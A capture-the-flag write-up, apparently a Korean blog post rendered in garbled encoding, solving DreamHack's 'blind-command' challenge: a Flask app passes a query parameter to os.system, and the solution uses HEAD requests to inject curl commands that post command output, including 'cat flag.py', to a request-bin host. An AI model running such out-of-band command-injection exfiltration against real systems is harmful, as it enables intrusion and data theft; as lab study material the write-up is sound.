๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[DreamHack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น : blind-command

์„ ๋‹ฌ 2023. 7. 31. 23:54
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/73/

 

blind-command

Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection

dreamhack.io

 

๋ฌธ์ œ

Read FLAG file XD

 

ํƒ์ƒ‰

๋“ค์–ด๊ฐ€๋ฉด ๊ฝค๋‚˜ ๋ถˆ์นœ์ ˆํ•œ ํ™”๋ฉด์ด ๋‚˜์˜จ๋‹ค

 

url ์ฟผ๋ฆฌ์— ?cmd=๊ฐ’ ์„ ์ถ”๊ฐ€ํ•˜๋‹ˆ ํ•ด๋‹นํ•˜๋Š” ๊ฐ’์ด ๋‚˜์˜ค๋Š” ๊ฐ„๋‹จํ•œ ์‚ฌ์ดํŠธ๋‹ค

 

 

๋ฌธ์ œ ํŒŒ์ผ์„ ๋ณด์ž

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

๊ฝค๋‚˜ ์งง๊ณ  ๊ฐ„๋‹จํ•œ ํŒŒ์ผ์ด๋‹ค.

url์—์„œ cmd์— ๊ฐ’์ด ์—†๋‹ค๋ฉด ๋งจ ์ฒ˜์Œ ํ™”๋ฉด์„ ๋ณด์—ฌ์ฃผ๊ณ 

๊ฐ’์ด ์žˆ๋‹ค๋ฉด ํ•ด๋‹น cmd ๊ฐ’์„ ๋ฆฌํ„ดํ•œ๋‹ค.

 

์ด๋•Œ ์•„์ฃผ ๋‹ฌ๋‹ฌํ•ด๋ณด์ด๋Š” os.system์ด ์žˆ๋‹ค.

cmd์— ๋‚ด๊ฐ€ ๋„ฃ์€ ๊ฐ’์„ ๋ช…๋ น์–ด๋กœ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค!

๋‹จ, get์ด ์•„๋‹Œ ๋ฉ”์†Œ๋“œ๋กœ ์ ‘๊ทผํ•ด์•ผ๋งŒ.

 

ํ’€์ด

Get ๋ง๊ณ  ์“ธ ์ˆ˜ ์žˆ๋Š” ๋ฉ”์†Œ๋“œ๋ฅผ ์•Œ์•„๋ณด์ž

options ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

 

import requests

url="http://host3.dreamhack.games:10243"

response = requests.options(url)

print(response)
print(response.headers.get)
print(response.text)

ํŒŒ์ด์ฌ์€ ์ฝ”๋žฉ์ด ์ตœ๊ณ 

 

์ฃผ์–ด์ง„ ์—”๋“œํฌ์ธํŠธ์—์„œ๋Š” Head, Options, Get ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ํ•œ๋‹ค

 

get put delete post ๊ฐ™์€ ํ”ํ•œ ๋ฉ”์†Œ๋“œ๊ฐ€ ์•„๋‹Œ head, option ๋ฉ”์†Œ๋“œ์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์•„๋ž˜ ๊ธ€์„ ์ฐธ๊ณ ํ•˜์ž

https://tifferent.tistory.com/15

 

HEAD ๋ฉ”์†Œ๋“œ์™€ OPTIONS ๋ฉ”์†Œ๋“œ์— ๋Œ€ํ•˜์—ฌ

HEAD ์š”์ฒญ์— ๋Œ€ํ•ด body ์—†์ด ์‘๋‹ต ํ—ค๋”๋งŒ ์ œ๊ณตํ•œ๋‹ค. GET, HEAD๋ฅผ ์ œ๊ณตํ•˜๋Š” api์— GET๊ณผ HEAD๋ฅผ ๊ฐ๊ฐ ์š”์ฒญํ•ด๋ณด๋ฉด GET์€ ์‘๋‹ต body๊ฐ€ ์žˆ๊ณ , HEAD๋Š” ์‘๋‹ต body๊ฐ€ ์—†๋‹ค. ์‘๋‹ต header๋Š” ๋™์ผํ•˜๋‹ค. ๋ฐ์ดํ„ฐ ์–‘์ด ์ค„์–ด๋“ค

tifferent.tistory.com

 

์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฉ”์†Œ๋“œ ์ค‘ head๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž

 

post ๋ฉ”์†Œ๋“œ๋Š” ์‚ฌ์šฉ์ด ์•ˆ๋˜๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

head๋Š” ์ž˜ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋‹ค

๋‹ค๋งŒ ์‘๋‹ต์— ๋ณธ๋ฌธ ์—†์ด ํ—ค๋”๋งŒ ํฌํ•จ๋˜์–ด ์žˆ์–ด์„œ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๋”๋ผ๋„ ๋‚ด์šฉ์„ ์•Œ ์ˆ˜ ์—†๋‹ค (ใ… ใ… )

 

์ผ๋‹จ ๋ช…๋ น์–ด๋Š” ์‹คํ–‰๋˜๋Š” ๊ฒƒ ๊ฐ™์œผ๋‹ˆ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ณผ์ •์—์„œ ๋‚ด๊ฐ€ ๋งŒ๋“  ์„œ๋ฒ„์™€ ์—ฐ๊ฒฐํ•˜๊ณ  ์‘๋‹ต์„ ์ด์ชฝ์œผ๋กœ ๋ณด๋‚ด๋ฒ„๋ฆฌ๋ฉด ๋œ๋‹ค

Request Bin์„ ์ด์šฉํ•˜์—ฌ ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•ด์ฃผ๊ณ , ๋ช…๋ น์–ด curl์„ ์ด์šฉํ•ด์ฃผ์—ˆ๋‹ค.

Request Bin์€ ๋“œ๋ฆผํ•ต์—์„œ ์ œ๊ณตํ•ด์ฃผ๋Š” ๋ฌด๋ฃŒํˆด์„ ์ด์šฉํ•œ๋‹ค.

 

https://tools.dreamhack.games/requestbin

 

dreamhack-tools

 

tools.dreamhack.games

 

์ž„์‹œ๋กœ ์ƒ์„ฑํ•œ api๊ฐ€ ์ž˜ ์ž‘๋™ํ•˜๋Š” ๊ฒƒ ํ™•์ธ.

 

 

import requests
import urllib.parse

cmd='curl https://orkneuu.request.dreamhack.games'

encoded_cmd = urllib.parse.quote(cmd)
url=f"http://host3.dreamhack.games:12750?cmd={encoded_cmd}"

print(f"url: '{url}'")

response = requests.head(url)

print(response)
print(response.headers.get)

request bin ๋งŒ๋ฃŒ๋กœ ์œ„์™€๋Š” ์ž„์‹œ url์ด ๋‹ค๋ฅด๋‹ค ใ…‹ใ…‹

์ž„์‹œ url์— get ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” "curl https://orkneuu.request.dreamhack.games" ๋ช…๋ น์–ด๋ฅผ ๋งŒ๋“ค๊ณ 

์ด๋ฅผ url ์ธ์ฝ”๋”ฉ ํ•ด์„œ encoded_cmd์— ์ €์žฅํ•˜๊ณ 

์ด ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์„ ๋ฌธ์ œ์— ํ•ด๋‹นํ•˜๋Š” url์˜ ๋์— cmd ์ฟผ๋ฆฌ์˜ ๊ฐ’์œผ๋กœ ๋„ฃ์–ด์ค˜์„œ ์‹คํ–‰ํ•ด๋ณด๋ฉด

๋กœ๊ทธ๊ฐ€ ์ž˜ ์ฐํžŒ๋‹ค.

 

Get์ด ์•„๋‹Œ head ๋ฉ”์†Œ๋“œ๋ฅผ ์ด์šฉํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— ๋ฌธ์ œ ์† ์„œ๋ฒ„ ๋‚ด์—์„œ 

os.system("curl https://orkneuu.request.dreamhack.games")

์ด ์‹คํ–‰๋œ ๊ฒƒ ๊ณผ ๊ฐ™๋‹ค

 

import requests
import urllib.parse

bin_api="https://wsufirp.request.dreamhack.games"
system_cmd="ls"
cmd=f'curl -X POST {bin_api} -d "$({system_cmd})"'

print(cmd)

encoded_cmd = urllib.parse.quote(cmd)
url=f"http://host3.dreamhack.games:12750?cmd={encoded_cmd}"

response = requests.head(url)

print(response)
print(response.headers.get)

post ๋ฉ”์†Œ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ณผ์ •์—์„œ curl ๋ช…๋ น์–ด์˜ -d ์˜ต์…˜์„ ์ด์šฉํ•˜์—ฌ ls ๋ช…๋ น์–ด๋ฅผ ๋‹ด์•„ ๋ณด๋‚ด์ค€๋‹ค.

๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ๊ฐ€ body์— ๋‹ด๊ฒจ์ ธ์„œ ๋ณด๋‚ด์ง„๋‹ค!

 

curl -X POST https://mauvpvy.request.dreamhack.games -d "$(cat flag.py)"

์„ฑ๊ณต

๋ฐ˜์‘ํ˜•